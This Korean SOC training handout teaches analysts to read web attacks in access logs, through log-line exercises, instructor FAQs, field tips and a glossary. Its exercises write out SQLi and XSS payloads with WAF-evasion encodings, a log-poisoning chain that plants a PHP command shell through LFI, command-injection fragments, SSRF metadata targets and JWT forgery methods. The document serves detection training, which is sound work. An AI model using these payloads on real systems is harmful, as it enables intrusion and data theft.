RS256 → HS256 전환: 공개키로 서명 위조
약한 secret 무차별 대입: jwt.io, hashcat
만료된 토큰 재사용: 시간 조작
권한 claim 변조: role:user → role:admin

SOC/App 탐지 포인트

동일 토큰의 다른 IP 재사용 (공유 또는 탈취)
JWT decode 후 claim 이상 (role 변경 등)
App log: JWT 서명 검증 실패 반복
동일 계정의 급격한 권한 행사 변화

📌 JWT 검증 실패는 앱 로그에서 잡혀야 함 — access.log만으로는 토큰 내용 분석 불가. App 레이어 로깅 강화 필요

보강 설명JWT 토큰 관련 공격 패턴과 탐지 방법입니다.

JWT토큰 변조alg=none

왜 중요한가

공격 표면은 기능·프로토콜·배포 방식이 바뀔 때 같이 변함
정상 기능처럼 보여도 위치와 맥락이 바뀌면 위협이 됨

확인 로그

원본 IP·XFF·Body·egress·변경 이력을 같이 확인
새 기술은 baseline이 없으면 오탐/미탐이 늘어남

실무 질문

이 기능은 누가·어디서·무엇을 받을 수 있는가?
정상 요청과 공격 요청의 가장 큰 차이는 어디인가?

APPENDIX Z

실전 access.log 분석 예제 모음

짧은 로그 라인에서 공격을 읽어내는 반복 연습 — 패턴 인식 훈련

⏱ 참조 / 연습 자료

보강 설명 짧은 로그 라인에서 공격을 읽어내는 반복 연습 — 패턴 인식 훈련. 로그 분석은 한 줄을 읽는 기술과 여러 줄을 사건 흐름으로 묶는 기술이 함께 필요하다. 정상·의심·위험을 빠르게 나누는 기준이 먼저 있어야 한다.

access.logTriage타임라인

핵심 포인트

IP·URI·상태코드·bytes·UA·응답시간을 같이 보면 공격 의도가 더 선명해진다
단일 이벤트보다 반복성, 순서, 상태 전환이 더 강한 탐지 신호가 된다
Triage는 사실 확인과 우선순위 판단을 동시에 수행하는 단계다

추가 확인

같은 IP의 전후 30분 요청을 묶어 탐색→시도→성공 흐름을 찾기
WAF/App/Host 로그 중 비어 있는 소스를 최소 하나 더 확보하기
오탐 가능성도 반드시 같이 적어 후속 대응팀의 판단 비용을 줄이기

미니 실습

로그 3줄을 하나의 타임라인으로 재구성해 보기
status, bytes, response_time 중 어떤 값이 가장 중요한지 이유와 함께 말하기
정상 사용자와 자동화 스캐너의 차이를 헤더·속도·반복성으로 구분하기

심화 Z · 분석 예제

예제 1: SQLi 변형 패턴 읽기

아래 5개 라인에서 공통점과 차이점을 찾아라 — 모두 SQLi지만 우회 방식이 다르다.

        ① /item?id=1' OR '1'='1

        ② /item?id=1%27+OR+%271%27%3D%271

        ③ /item?id=1'+OR+1=1--+

        ④ /item?id=1'/**/OR/**/1=1--

        ⑤ /item?id=1'+OR+0x313d31--

분석 포인트

①: 평문 OR 1=1 — 가장 단순
②: URL 인코딩 (%27=%27, %3D==) — 기본 우회
③: + 공백, -- 주석 — 일반적 SQLi 형태
④: /**/ 주석 공백 대체 — WAF 우회
⑤: Hex 인코딩 (0x313d31 = 1=1) — 고급 우회

💡 모두 같은 공격 — decoded_uri + 정규화 후 매칭해야 5가지 모두 탐지 가능

보강 설명SQLi 다양한 변형 패턴의 access.log 예제 분석입니다.

SQLi 예제변형 패턴분석 연습

대표 신호

OR 1=1·UNION SELECT·SLEEP()·ORDER BY 탐색
information_schema·version()·extractvalue() 키워드

추가 확인

DB/App error log에 실제 쿼리 실패 흔적이 있는지 확인
같은 IP의 ORDER BY·UNION·SLEEP 타임라인을 묶기

실습 예시

id=1 AND 1=1 vs 1=2의 응답 크기 차이를 비교해 보기
sqlmap UA가 없어도 반복성·변형 패턴으로 판단하기

심화 Z · 분석 예제

예제 2: XSS 변형 패턴 읽기

아래 XSS 시도들 — 어떤 것이 WAF를 우회할 가능성이 높은가.

        ① /comment?text=<script>alert(1)</script>

        ② /comment?text=%3Cscript%3Ealert(1)%3C/script%3E

        ③ /comment?text=<img src=x onerror=alert(1)>

        ④ /comment?text=<svg/onload=alert(1)>

        ⑤ /comment?text=javascript:alert(1)

분석 포인트

①: 가장 단순 — WAF에서 쉽게 탐지
②: URL 인코딩 — 정규화 없는 WAF 우회
③: img onerror — script 없이 실행 가능
④: svg 태그 — 다수 WAF가 <script> 만 차단할 때
⑤: javascript: URI — href 삽입 시 활용

⚠️ ③④는 <script> 없이 JS 실행 가능 — script 키워드만 차단하는 WAF는 우회됨

보강 설명XSS 다양한 변형 패턴의 access.log 예제 분석입니다.

XSS 예제변형 패턴인코딩 우회

실행 조건

입력이 HTML/JS 문맥에 반사·저장되는지가 핵심
onerror/onload/javascript:·document.cookie 조합 주목

추가 확인

댓글/게시물 저장 body, CSP 보고, 외부 도메인 호출 확인
동일 세션이 다른 IP에서 재사용됐는지 확인

실습 예시

search 파라미터와 comment 저장 요청을 분리해 읽기
HTML 인코딩된 정상 예시와 실행형 payload를 비교하기

심화 Z · 분석 예제

예제 3: 정상 vs 공격 혼합 분류

아래 6개 요청 중 정상/의심/공격으로 분류하라 — 판단 근거를 함께 써야 한다.

A: GET /search?q=python+tutorial 200 Mozilla/5.0
B: GET /search?q=SELECT+name+FROM 200 sqlmap/1.7
C: GET /search?q=javascript+courses 200 Mozilla/5.0
D: GET /search?q=<script>test</script> 403 Mozilla/5.0
E: POST /api/comment body={"text":"test & review"} 200
F: GET /search?q=1' AND sleep(5)-- 500 python-requests

✅ 분류 답안

A: 정상 — 일반 검색
B: 공격 — sqlmap UA + SQL SELECT
C: 정상 — javascript는 단어, 코드 아님
D: 의심 — XSS 시도, WAF가 차단함
E: 정상 — & 문자는 정상 텍스트에 등장
F: 공격 — Time-Based Blind SQLi + python-requests

💡 C 주의: "javascript"라는 단어 자체는 XSS가 아님 — 콘텍스트(실행 가능한 위치)가 판단 기준

보강 설명정상 요청과 공격 요청을 구분하는 혼합 예제입니다.

정상 vs 공격혼합 예제구분 연습

왜 중요한가

공격 표면은 기능·프로토콜·배포 방식이 바뀔 때 같이 변함
정상 기능처럼 보여도 위치와 맥락이 바뀌면 위협이 됨

확인 로그

원본 IP·XFF·Body·egress·변경 이력을 같이 확인
새 기술은 baseline이 없으면 오탐/미탐이 늘어남

실무 질문

이 기능은 누가·어디서·무엇을 받을 수 있는가?
정상 요청과 공격 요청의 가장 큰 차이는 어디인가?

심화 Z · 분석 예제

예제 4: 타임라인 재구성 연습

아래 7개 로그 라인을 시간 순서대로 정리하고 공격 흐름을 문단으로 써라.

        [14:23:01] 103.44.x.x GET /robots.txt 200 12

        [14:23:45] 103.44.x.x GET /admin 403 1240

        [14:24:02] 103.44.x.x GET /.env 200 843

        [14:24:38] 103.44.x.x POST /login admin:password 401 320

        [14:24:39] 103.44.x.x POST /login admin:admin123 302 124

        [14:24:41] 103.44.x.x GET /admin/dashboard 200 18432

        [14:25:03] 103.44.x.x GET /admin/export-users?format=csv 200 94821

✅ 모범 타임라인 문단

103.44.x.x는 14:23에 robots.txt 조회로 사이트 구조 파악 후 /admin 접근 시도(403 차단). /.env 파일 조회 성공(200, 843bytes — DB 자격증명 등 노출 가능). 조회한 정보로 추정되는 비밀번호로 2회 시도 후 admin:admin123으로 로그인 성공(302). 관리자 대시보드 접속 후 CSV 형태로 전체 사용자 데이터 추출(94,821bytes). Critical — 즉시 계정 잠금, .env 파일 제거, IR 에스컬레이션.

보강 설명연속 로그 라인에서 공격 타임라인을 재구성하는 예제입니다.

타임라인 재구성연속 로그시퀀스 분석

왜 중요한가

공격 표면은 기능·프로토콜·배포 방식이 바뀔 때 같이 변함
정상 기능처럼 보여도 위치와 맥락이 바뀌면 위협이 됨

확인 로그

원본 IP·XFF·Body·egress·변경 이력을 같이 확인
새 기술은 baseline이 없으면 오탐/미탐이 늘어남

실무 질문

이 기능은 누가·어디서·무엇을 받을 수 있는가?
정상 요청과 공격 요청의 가장 큰 차이는 어디인가?

심화 Z · 분석 예제

예제 5: LFI → CMDi 체인 분석

두 공격이 결합된 체인을 각 단계별로 분석하고 의미를 설명하라.

        [09:11] GET /view?file=../../../../etc/passwd 200 1823

        [09:13] GET /view?file=../../../../var/log/apache2/access.log 200 45823

        [09:15] GET /test.php?ua=<?php system($_GET['cmd']); ?> 404 (UA에 코드 삽입)

        [09:17] GET /view?file=../../../../var/log/apache2/access.log&cmd=id 200 46012

체인 분석

LFI로 /etc/passwd 읽기 성공 (취약점 확인)
LFI로 access.log 접근 가능 확인
UA에 PHP 코드 삽입 → access.log에 저장
LFI + cmd= → Log Poisoning RCE 완성

⚠️ 4단계 체인 — LFI 첫 발견 시 즉시 막았으면 RCE 방지 가능했다. 체인 초기 차단이 중요

보강 설명LFI와 CMDi가 결합된 복합 공격 예제 분석입니다.

LFI+CMDi복합 공격Log Poisoning 체인

대표 신호

../·..%2f·php://filter·/etc/passwd·.env 같은 경로
; && | ` $() 와 id/whoami/wget 조합은 강한 CMDi 신호

추가 확인

error.log 예외 문구와 /tmp 최근 파일 생성 여부 확인
웹서버 자식 프로세스와 외부 egress 통신을 함께 확인

실습 예시

Traversal은 경로 정규화 후 판단하는 습관 만들기
CMDi는 access.log만으로 성공 단정하지 않기

강사 참조

수강생 자주 묻는 질문 (FAQ)

강의 중 자주 나오는 질문과 모범 답변 — 강사 준비용

⏱ 강사 참조 자료

보강 설명 강의 중 자주 나오는 질문과 모범 답변 — 강사 준비용. 자주 묻는 질문은 개념 암기보다 판단 기준을 흔드는 지점이 어디인지 보여준다. 애매한 경계 조건을 정리해 두면 실전에서 흔들리지 않는다.

FAQ오해 방지현업 질문

자주 혼동하는 점

차단 로그가 있다고 끝난 사건이 아니다
200 응답이 없어도 탐색과 실패 시도는 충분히 중요하다
악성 키워드가 보여도 서비스 맥락 없이 단정하면 오탐이 늘어난다

실무 답변 원칙

항상 “근거 필드 + 추가 확인 소스 + 조치 제안” 구조로 답하기
모르면 추정이라고 밝히고 필요한 확인 로그를 제시하기
한 줄 결론보다 판단 근거를 남겨 재사용 가능하게 만들기

팀 운영 팁

FAQ를 신규 인력 온보딩 문서로 축적
실제 오탐 사례를 FAQ에 붙여 재발을 줄이기
자주 반복되는 질문은 치트시트와 플레이북에 반영

강사 FAQ 1

FAQ: 탐지 기초 관련 질문

강의에서 가장 자주 나오는 기초 질문과 모범 답변.

Q. WAF가 있으면 SQLi를 다 막나요?

A. 아닙니다. WAF는 알려진 패턴을 차단하지만, 인코딩 변형·새로운 우회 기법은 통과할 수 있습니다. WAF는 방어의 한 계층이고, access.log 탐지와 앱 레이어 방어(Prepared Statement)가 함께 필요합니다.

Q. 200 응답은 무조건 정상인가요?

A. 아닙니다. SQLi 우회 성공, WebShell 실행, SSRF 응답도 200입니다. bytes 크기 변화와 후속 행위를 함께 봐야 합니다.

Q. 오탐이 자꾸 나서 알람을 꺼버리면 안 되나요?

A. 알람 끄기 대신 튜닝이 맞습니다. 오탐 원인(정상 소스, 낮은 임계치)을 파악해 예외 처리하거나 조건을 강화하세요. 알람을 끄면 진짜 공격도 놓칩니다.

보강 설명웹 공격 탐지의 기초 FAQ입니다.

FAQ기초 질문탐지 원리

짧은 답변 원칙

먼저 결론 1문장, 다음에 근거 2개, 마지막에 조치 1개
모르는 부분은 추가 확인 대상으로 분리해서 말하기

실무 판단 기준

정탐/오탐 경계에선 자산 중요도와 후속행위를 같이 본다
로그 1종만으론 결론을 약하게 두고 추가 확인을 제안

더 찾아볼 로그

App/WAF/EDR/Network 중 비어 있는 소스를 하나 더 확보
성공 여부는 상태코드·bytes·후속행위 3가지를 같이 확인

강사 FAQ 2

FAQ: 실무 운영 관련 질문

현업 SOC 분석가들이 자주 하는 실무 관련 질문과 답변.

Q. 에스컬레이션 기준을 모르겠어요.

A. "서버가 장악됐거나 데이터가 유출됐을 가능성"이 기준. 확신이 없어도 가능성이 있으면 먼저 보고 후 확인하는 것이 늦은 에스컬레이션보다 낫습니다.

Q. 로그가 너무 많아서 다 볼 수가 없어요.

A. 전체를 보는 게 아니라 예외(이상 패턴)를 찾는 것입니다. SIEM 상관 룰로 자동 필터링하고, 알람 기반으로 특정 IP/세션만 집중 분석하세요.

Q. 공격인지 모의해킹인지 어떻게 구분하나요?

A. 허가된 침투테스트 일정과 IP를 사전에 받아 화이트리스트로 관리하세요. 일정 외·IP 외 요청은 실제 공격으로 간주합니다.

보강 설명실무 운영 관련 FAQ입니다.

FAQ실무 질문SOC 운영

짧은 답변 원칙

먼저 결론 1문장, 다음에 근거 2개, 마지막에 조치 1개
모르는 부분은 추가 확인 대상으로 분리해서 말하기

실무 판단 기준

정탐/오탐 경계에선 자산 중요도와 후속행위를 같이 본다
로그 1종만으론 결론을 약하게 두고 추가 확인을 제안

더 찾아볼 로그

App/WAF/EDR/Network 중 비어 있는 소스를 하나 더 확보
성공 여부는 상태코드·bytes·후속행위 3가지를 같이 확인

강사 FAQ 3

FAQ: 분석 기술 관련 질문

분석 방법과 해석에 대한 자주 나오는 질문들.

Q. FPCA에서 Context를 어떻게 채우나요?

A. "이것이 실제 성공했는가? / 자산이 중요한가? / 오탐일 가능성은?" 이 3가지를 답하면 Context가 됩니다. 추가 확인 대상 로그를 제시하는 것도 Context의 일부입니다.

Q. bytes 값만 보고 데이터 유출을 어떻게 판단하나요?

A. 동일 엔드포인트의 정상 응답 크기 대비 이상 변화가 기준입니다. 평소 300bytes인 응답이 갑자기 30,000bytes이면 비정상 데이터가 반환된 가능성을 의심합니다.

Q. SQLi와 XSS 중 어느 게 더 위험한가요?

A. 상황에 따라 다릅니다. SQLi가 성공하면 DB 전체 데이터, Stored XSS가 성공하면 관리자 계정. 영향 범위와 자산 중요도로 판단하세요.

보강 설명분석 기술 관련 FAQ입니다.

FAQ분석 기술FPCA

짧은 답변 원칙

먼저 결론 1문장, 다음에 근거 2개, 마지막에 조치 1개
모르는 부분은 추가 확인 대상으로 분리해서 말하기

실무 판단 기준

정탐/오탐 경계에선 자산 중요도와 후속행위를 같이 본다
로그 1종만으론 결론을 약하게 두고 추가 확인을 제안

더 찾아볼 로그

App/WAF/EDR/Network 중 비어 있는 소스를 하나 더 확보
성공 여부는 상태코드·bytes·후속행위 3가지를 같이 확인

실전 팁

현업 SOC 분석가의 실전 노하우

교과서에 없는 — 현장에서 쌓인 판단 기준과 습관

⏱ 강의 보충 자료

보강 설명 교과서에 없는 — 현장에서 쌓인 판단 기준과 습관. 실전 노하우는 기술 자체보다 어디서부터 보고 무엇을 버릴지에 대한 감각이다. 같은 시간을 써도 더 빨리 중요한 것을 집어내게 만든다.

실전 노하우우선순위전달력

작업 순서

먼저 자산 중요도와 성공 신호를 보고, 그다음 세부 payload로 내려가기
정상 트래픽 baseline을 알고 있어야 이상이 더 빨리 보인다
한 번 본 패턴은 개인 메모가 아니라 팀 지식으로 축적하기

보고 습관

사실과 추론을 섞지 말고 명확히 구분
“가능성 있음” 다음에는 반드시 근거와 추가 확인 항목을 붙이기
긴 설명보다 결론형 2문장 요약을 먼저 쓰는 습관 만들기

성장 포인트

한 유형을 깊게 파고들되, 다른 유형과 연결되는 체인도 함께 보기
탐지 룰 결과를 다시 사례 리뷰에 반영해 감각을 업데이트
오탐 리뷰를 두려워하지 말고 기준을 더 정교하게 만드는 기회로 활용

실전 팁

효율적인 로그 분석 5가지 습관

빠르고 정확한 분석가들이 공통으로 가진 습관 — 연습으로 만들어지는 것들.

IP부터 묶는다
알람 보기 전에 동일 IP의 다른 요청 먼저 검색
상태코드 시퀀스를 그린다
401×N→302 패턴을 머릿속에 타임라인으로
bytes 변화를 눈으로 본다
평소 대비 크기 급변은 즉시 집중

UA를 먼저 확인한다
sqlmap, Nikto → 확도 높음. 일반 브라우저 → 더 꼼꼼히
오탐 의심도 일단 기록한다
지금은 오탐이어도 같은 IP가 나중에 다시 나타날 수 있음

💡 이 5가지는 처음엔 의식적으로 체크리스트처럼 — 6개월이 지나면 자동으로 눈이 그 패턴을 먼저 찾기 시작한다

보강 설명효율적인 로그 분석 습관에 대한 실전 팁입니다.

분석 습관효율성우선순위

운영 트리거

배포 직후·차단 직후·새벽 대량 요청을 우선 확인
관리자 표면·공개 서비스는 항상 우선순위 상향

산출물

타임라인 3~5줄 + 근거 필드 + 오탐 가능성
즉시 조치와 추가 확인 대상을 반드시 분리

실무 예시

401 반복 뒤 302/200 1회는 성공 신호로 취급
내부 IP라도 관리자 접근이면 재검증

실전 팁

SOC 분석가의 흔한 판단 실수

알고 있으면 피할 수 있는 — 실수 패턴을 미리 알아두는 것이 최선의 예방이다.

❌ 피해야 할 패턴

WAF가 차단했으니 "끝났다"고 결론
"내부 IP니까 안전하다"
"403이니까 실패했다"
알람 하나만 보고 전체 그림 놓침
UA만 보고 도구 판단 (--random-agent 있음)
"bytes가 작으니 데이터 안 나갔다"

✅ 올바른 판단 습관

WAF 차단 후 access.log bytes/status 확인
내부 IP도 침해 후 재사용 가능성
403 이후 동일 IP의 다른 시도 추적
동일 IP의 전체 타임라인 조회
UA + 반복 패턴 + 상태코드 복합 판단
정상 크기 대비 비교, 절대값 아닌 상대값

보강 설명SOC 분석가가 피해야 할 판단 실수 모음입니다.

판단 실수함정오류 패턴

운영 트리거

배포 직후·차단 직후·새벽 대량 요청을 우선 확인
관리자 표면·공개 서비스는 항상 우선순위 상향

산출물

타임라인 3~5줄 + 근거 필드 + 오탐 가능성
즉시 조치와 추가 확인 대상을 반드시 분리

실무 예시

401 반복 뒤 302/200 1회는 성공 신호로 취급
내부 IP라도 관리자 접근이면 재검증

실전 팁

보고 커뮤니케이션 실전 팁

분석 결과를 기술 비전문가 임원에게 설명해야 할 때 — 어떻게 전달하는가.

기술 → 비기술 번역 예시

기술 표현:
"SQL Injection으로 union select 쿼리 실행, DB 응답 bytes 급증"

임원 표현:
"외부 공격자가 우리 데이터베이스에 직접 접근하는 명령을 실행했고, 대용량 데이터가 응답으로 반환된 흔적이 있습니다."

임원 보고 3요소

무슨 일이 있었나: 한 문장 요약
영향이 있는가: 데이터/서비스/계정
우리가 무엇을 하고 있나: 즉시 조치 + 다음 단계

💡 임원은 "얼마나 위험한가"와 "우리가 통제하고 있는가"를 원한다

보강 설명분석 보고 커뮤니케이션 실전 팁입니다.

보고 커뮤니케이션비전문가 설명의사결정자

운영 트리거

배포 직후·차단 직후·새벽 대량 요청을 우선 확인
관리자 표면·공개 서비스는 항상 우선순위 상향

산출물

타임라인 3~5줄 + 근거 필드 + 오탐 가능성
즉시 조치와 추가 확인 대상을 반드시 분리

실무 예시

401 반복 뒤 302/200 1회는 성공 신호로 취급
내부 IP라도 관리자 접근이면 재검증

실전 팁

야간 / 온콜 대응 실전 체크리스트

새벽 2시에 깨어났을 때 — 졸린 머리로도 놓치지 않는 체크리스트.

📋 온콜 수신 즉시 확인 (3분)

알람 심각도와 유형 확인
대상 서버/자산 중요도 확인
decoded URI + 상태코드 확인
반복성 (1회성 vs 지속)
IP 리퓨테이션 빠른 조회

📋 즉시 판단 기준

지금 전화해야 함: WebShell 실행, 데이터 유출, 서버 장악 가능성

티켓 남기고 아침에: WAF 차단만, 단발성 스캔, High 알람 단독

로그만 남기기: Medium/Low, 반복 없음

💡 "확인 후 자도 될지" 판단하는 데 3분 이상 걸리면 일단 보고하고 자라 — 나중에 오탐이어도 책임 없음

보강 설명야간/주말 온콜 대응 시 실전 팁입니다.

온콜야간 대응긴급 대응

운영 트리거

배포 직후·차단 직후·새벽 대량 요청을 우선 확인
관리자 표면·공개 서비스는 항상 우선순위 상향

산출물

타임라인 3~5줄 + 근거 필드 + 오탐 가능성
즉시 조치와 추가 확인 대상을 반드시 분리

실무 예시

401 반복 뒤 302/200 1회는 성공 신호로 취급
내부 IP라도 관리자 접근이면 재검증

실전 팁

팀 내 지식 공유 문화 만들기

좋은 SOC팀의 차이는 개인 역량이 아니라 팀 지식이 얼마나 잘 순환하는가에 있다.

📢 실천 가능한 공유 방법

주간 케이스 리뷰: 흥미로운 탐지 1건 공유 (15분)
오탐/미탐 포스트모템: 왜 놓쳤는지, 룰 어떻게 개선할지
신규 공격 기법 공유: CTI 피드 + 팀 알림
룰 변경 로그: 어떤 이유로 무엇을 바꿨는지
체크리스트 공동 관리: Confluence/Wiki 실시간 업데이트

💡 내가 처음 배웠을 때 알았으면 좋았을 것을 새 팀원에게 알려주는 것 — 그것이 팀의 탐지 수준을 올리는 가장 빠른 방법이다

보강 설명팀 내 지식 공유와 탐지 룰 지속 개선 문화에 대한 팁입니다.

지식 공유룰 개선팀 문화

운영 트리거

배포 직후·차단 직후·새벽 대량 요청을 우선 확인
관리자 표면·공개 서비스는 항상 우선순위 상향
Critical은 5분 안에 1차 판단·에스컬레이션 기준 정리

산출물

타임라인 3~5줄 + 근거 필드 + 오탐 가능성
즉시 조치와 추가 확인 대상을 반드시 분리
다음 팀이 바로 행동할 수 있는 문장으로 기록

실무 예시

401 반복 뒤 302/200 1회는 성공 신호로 취급
내부 IP라도 관리자 접근이면 재검증
정상 변경과 이상 징후를 함께 메모해야 오판 감소

부록

Module 4 용어 사전

강의에서 사용된 핵심 용어 정의 — 수강생 배포용

⏱ 참조 자료

보강 설명 강의에서 사용된 핵심 용어 정의 — 수강생 배포용. 용어 사전은 정의 암기보다 팀 내 공통 언어를 맞추는 도구다. 같은 말을 같은 의미로 쓰면 보고와 인수인계 속도가 빨라진다.

용어공통 언어팀 표준

정리 기준

공격 기법, 로그 필드, 분석 행위, 대응 조치를 구분해 정리
유사 용어(SQLi vs Blind SQLi, Triage vs Investigation)를 함께 비교
현업 보고서에 실제로 쓰는 문장을 기준으로 정의

활용 방법

신규 입사자 온보딩 자료와 실습 기준 답안에 연결
팀별 약어와 내부 자산명도 같이 기록해 혼선을 줄이기
탐지 룰 이름과 보고서 문구를 용어 사전에 맞춰 일관화

미니 실습

자주 헷갈리는 용어 3쌍을 직접 비교 정의해 보기
용어 정의를 한 줄 보고 문장으로 바꿔 보기
사전 항목에 예시 로그를 하나씩 붙여 이해도를 높이기

부록 · 용어 사전

공격 기법 핵심 용어 정의

헷갈리기 쉬운 용어들 — 정확한 정의를 알아야 정확한 판단이 가능하다.

용어	정의	핵심 구분
SQLi	입력값이 SQL 쿼리 구조로 해석되어 실행	쿼리 구조 변경이 핵심
XSS	입력값이 HTML/JS로 해석되어 브라우저에서 실행	브라우저 실행이 핵심
LFI	파라미터로 서버 내부 파일을 읽게 함	파일 읽기, 서버 내부
CMDi	입력값이 OS 명령으로 실행됨	OS 명령 실행
WebShell	서버에 업로드된 웹 언어 코드가 명령 실행 인터페이스로 동작	지속성 있는 원격 실행
SSRF	서버가 공격자 지정 내부 주소로 요청을 보내도록 유도	서버가 중계자 역할

보강 설명공격 기법 관련 주요 용어 정의입니다.

용어SQLiXSS

현장 표현

용어는 정의보다 흔적·영향·조치와 함께 기억
“성공 추정”과 “성공 확정” 표현을 구분해 사용
같은 단어라도 DB/브라우저/호스트 맥락이 다를 수 있음

헷갈리는 구분

SQLi vs CMDi vs WebShell은 실행 위치가 다름
Reflected vs Stored XSS는 실행 시점이 다름
Brute Force vs Stuffing vs Spraying은 입력 패턴이 다름

로그 예시

decoded_uri·status·bytes 한 줄로 먼저 연결
용어는 실제 로그 한 예시와 같이 외우면 오래 남음
사전 복습 시 “이 흔적을 보면 무엇을 더 보나”까지 적기

부록 · 용어 사전

탐지 / 운영 핵심 용어 정의

SOC 업무에서 자주 사용되는 탐지·운영 용어 정의.

용어	정의
FPCA	Fact → Pattern → Context → Action. 이 강의에서 사용하는 웹 공격 분석 4단계 프레임워크
IOC	Indicator of Compromise. 침해 사실을 나타내는 증거 (악성 IP, 도메인, 파일 해시 등)
TTP	Tactics, Techniques, Procedures. 공격자가 사용하는 전술·기법·절차의 총칭
Triage	알람이나 사건의 우선순위를 신속하게 분류하는 초기 평가 과정
오탐 (FP)	False Positive. 실제로는 정상이지만 공격으로 잘못 탐지된 경우
미탐 (FN)	False Negative. 실제로 공격이지만 탐지되지 않은 경우
SOAR	Security Orchestration, Automation, Response. 보안 대응 절차 자동화 플랫폼

보강 설명탐지/운영 관련 주요 용어 정의입니다.

용어FPCAIOC

현장 표현

용어는 정의보다 흔적·영향·조치와 함께 기억
“성공 추정”과 “성공 확정” 표현을 구분해 사용
같은 단어라도 DB/브라우저/호스트 맥락이 다를 수 있음

헷갈리는 구분

SQLi vs CMDi vs WebShell은 실행 위치가 다름
Reflected vs Stored XSS는 실행 시점이 다름
Brute Force vs Stuffing vs Spraying은 입력 패턴이 다름

로그 예시

decoded_uri·status·bytes 한 줄로 먼저 연결
용어는 실제 로그 한 예시와 같이 외우면 오래 남음
사전 복습 시 “이 흔적을 보면 무엇을 더 보나”까지 적기

부록 · 참조 자료

실습 IP별 공격 유형 전체 매핑

강의 전체에서 사용된 IP와 공격 유형의 완전한 참조 매핑 — 실습 채점과 복습에 활용.

IP	공격 유형	핵심 로그 특징	우선순위
185.143.223.17	SQLi (Auto)	sqlmap UA + union select + sleep()	Critical
45.77.22.90	XSS	script/onerror/svg 변형, POST body	High
91.240.118.31	LFI	../../../../etc/passwd, /var/log	High
103.44.19.8	CMDi	;cat / &&id / \|uname	Critical
172.104.81.55	WebShell	POST /upload + GET shell.php?cmd=	Critical
89.248.165.44	Brute Force	401×83 → 302, 속도 조절	Critical
104.237.146.2	API Abuse	/api/v1/login, 429 우회	High
51.158.201.77	SSRF	url=127.0.0.1, 169.254.169.254	Critical

보강 설명모든 실습 로그 샘플을 모아놓은 참조 슬라이드입니다.

실습 로그참조샘플 데이터

추가 확인

같은 IP의 전후 30분 타임라인을 먼저 묶기
WAF/App/Host 중 비어 있는 소스를 하나 더 가져오기
성공 신호와 오탐 가능성을 반드시 동시에 적기

답안 포인트

사실→패턴→맥락→조치(FPCA) 순서로 기술
상태코드·bytes·반복성·자산 중요도를 근거에 포함
즉시 조치와 추가 확인을 분리해 쓰면 점수가 올라감

미니 실습

한 줄 로그를 2~3문장 보고서로 바꾸어 보기
정탐/오탐 두 가설을 같이 써 보고 더 확인할 로그 제시
다음 팀에 넘길 질문 1개를 꼭 포함시키기